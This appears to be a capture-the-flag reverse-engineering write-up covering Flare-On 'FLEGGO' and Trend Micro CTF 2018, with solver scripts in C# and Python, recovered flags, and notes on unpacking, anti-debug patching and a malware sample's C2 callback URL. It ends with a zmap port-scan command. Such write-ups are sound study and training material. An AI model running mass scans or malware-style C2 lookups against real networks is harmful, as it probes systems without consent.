68,
71,
100,
185,
74,
127,
62,
130,
231,
129,
254,
243,
28,
58,
103,
179,
60,
91,
195,
215,
102,
145,
154,
27,
57,
231,
241,
86
};
random.NextBytes(array);
uint num = 0u;
while ((ulong)num < (ulong)((long)array2.Length))
{
byte[] array3 = array2;
uint num2 = num;
array3[num2] = (byte)((int)array3[num2] ^ (int)array[num]);
num += 1u;
}
return Encoding.ASCII.GetString(array2);
}

static void check_flag(string a)
{
bool bIsValid = true;
foreach (char c in a)
{
if (c < 32 || c > 126)
{
bIsValid = false;
break;
}
}
if (bIsValid)
{
Console.WriteLine("Flaggy!");
Console.WriteLine(a);
Console.ReadLine();
}
}

static void Main(string[] args)
{
uint[] key = { 20 * 30 + 7, 7 * 30 + 28, 28 * 30 + 24 };
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 3; j++)
{
for (int k = 0; k < 3; k++)
{
Console.WriteLine(GetKey(key[i], key[j], key[k]));
}
}
}

Console.ReadLine();
}
}
}

Problem 3 FLEGGO

Of course there are other ways to solve this problem in seconds. This script is just for warm up : )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import os

buf = ''

def decrypt_string(file_path):
with open(file_path, 'r') as f: #'1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe'
buf = f.read()

res = buf[0x2A00:0x2a00+0x8150]
image_name = [chr(ord(i) ^ 0x85) for i in res[0xD0:0xD0+32]]
image_name = ''.join([image_name[i] for i in range(0, len(image_name), 2)])[:-4]
print image_name

word = [chr(ord(i) ^ 0x1A) for i in res[0xF0:0xF0+0xA0]][0]
return word, image_name

def decrypt_res(file_path, word, image_name):
edi = []
k = 0

for i in range(0x100):
edi.append(chr(i))

with open(file_path) as f:
buf = f.read()

res = buf[0x2AB0:0x2AB0+0x8150]

i = 0
while ord(res[i]) != 0:
i += 2

key1 = i >> 1

for j in range(0x100):
t = (ord(res[2*(j%key1) + 1]) << 1) + ord(res[2*(j%key1) + 0])
k = (ord(edi[j]) + k + t) % 0x100
tmp = edi[k]
edi[k] = edi[j]
edi[j] = tmp

length = (ord(buf[0x2AFD]) << 8) + ord(buf[0x2AFC]) #0x47ed
to_write = buf[0x2B00:]
i = 0
j = 0
png = []
f = 0

while length >= 0:
i = (i + 1) % 256
p = ord(edi[i])
k = (j + p) % 256

tmp = edi[i]
edi[i] = edi[k]
edi[k] = tmp

j = (ord(edi[k]) + ord(edi[i])) & 0xFF

al = ord(edi[j])
al ^= ord(to_write[f])

j = k

f += 1
png.append(chr(al))
length -= 1

print hexdump(png)[:0x400]
with open(word + '@' + image_name + '.png', 'w+') as file:
file.write(''.join(png))


for filename in os.listdir('FLEGGO'):
if filename.endswith('.exe'):
print filename
file_path = 'FLEGGO/'+filename
word, image_name = decrypt_string(file_path)
decrypt_res(file_path, word, image_name)

-> mor3_awes0m3_th4n_an_awes0me_p0ssum@flare-on.com

Trend Micro 2018 Reverse walkthrough

Trend Micro 2018 Reverse problem walkthrough.

1. filecrypt

Decompile the python binary and extract the python source code.

According to pcap, we can recover the crypto component

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
enc = "MzU5OThmZGI3ZmUzYjc5NDBiOTM3NWE2OGE2NTRmZjk0OWM1OGRjYjliMWFlYmIwNDhkNmFhNzRkOTA1YjdiMGM2ZTA0YjQwNGViNjExMjlmOTJhZDkxMjcwMzg1MDIwMTU4MmNlMzllNzdiZmU3MzlmZWM1Mjg3NDFiMjAyZjg5MjNhOWY4ZDYzMDM2MTdkOGU2ZTM1YTBkNjQ0MTE1ZTIzODUyMmM2ZDBjYWNkMWFmZGFlMjMwNTA0NTJjOTk4ZTM5YQ=="
enc = base64.decodestring(enc)

cipher = ARC4.new(enc[:40].decode('hex'))
dec = cipher.decrypt(enc[40:].decode('hex'))

# id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390

n = hex(0xd1 + 16) # -> 0xe1

key = "2f87011fadc6c2f7376117867621b606".decode('hex')

key = ''.join((chr(ord(x) ^ 0xe1) for x in key))
print key.encode('hex')

iv = "95bc0ed56ab0e730b64cce91c9fe9390".decode('hex')
iv = ''.join((chr(ord(x) ^ 0xe1) for x in iv))
print iv.encode('hex')

Decrypt the file, get

1
----Trend Microt CTF 2018. Flag for this challenge is: TMCTF{MJB1200}

2. Injector

IAT Hook.

1
2
GZPGS {jnag_fhz_vng_ubbxvat}
-> ROT13

3. crmeenV5

The binary is packed by MEW 11 SE 1.2 by Northfox. It’s trivial to unpack the program and get flag immediately by patching anti-debug code:

1
TMCTF{F14g1s::____1G}

4. Arts-and-Rafts

WIP

5. some_assembly_required

Check TLS function.

1
TMCTF{g0d_th4t_mu5+_h4v3_b33n_annoy1ng}

6. catchme

The problem has a hint: find the exact c2 server.
Catchme is a malware which attempts to connect to C2 and leak user info. Some code branches need to be manually patched otherwise the program may crash.

The flag should be echoed if malware connects to http://c2:80/?rlz=abc with host error.reg. Catchme has several smc code and one function decrypts the strings:

1
2
# last updated 1535460602 (Tue Aug 28 12:50:02 2018 GMT),0.0.0.0/8,2.56.0.0/14,5.133.64.0/18,5.180.0.0/14,5.252.0.0/15,10.0.0.0/8,31.40.192.0/18,31.132.32.0/19,37.44.192.0/18,37.221.64.0/18,41.62.0.0/16,41.67.64.0/20,41.67.88.0/21,41.67.96.0/19,41.73.16.0/20,41.74.96.0/20,41.75.16.0/20,41.76.160.0/21,41.76.232.0/21,41.77.160.0/21,41.77.216.0/22,41.77.248.0/21,41.78.12.0/22,41.78.44.0/22,41.78.68.0/22,41.78.132.0/22,41.78.160.0/22,41.78.176.0/21,41.78.236.0/22,41.79.0.0/22,41.79.84.0/22,41.79.100.0/22,41.79.140.0/22,41.84.160.0/19,41.87.32
...

Run zmap

1
zmap -p 80 -o results.csv --whitelist-file=ips.txt

Unfortunately the game is ended when zmap is finished.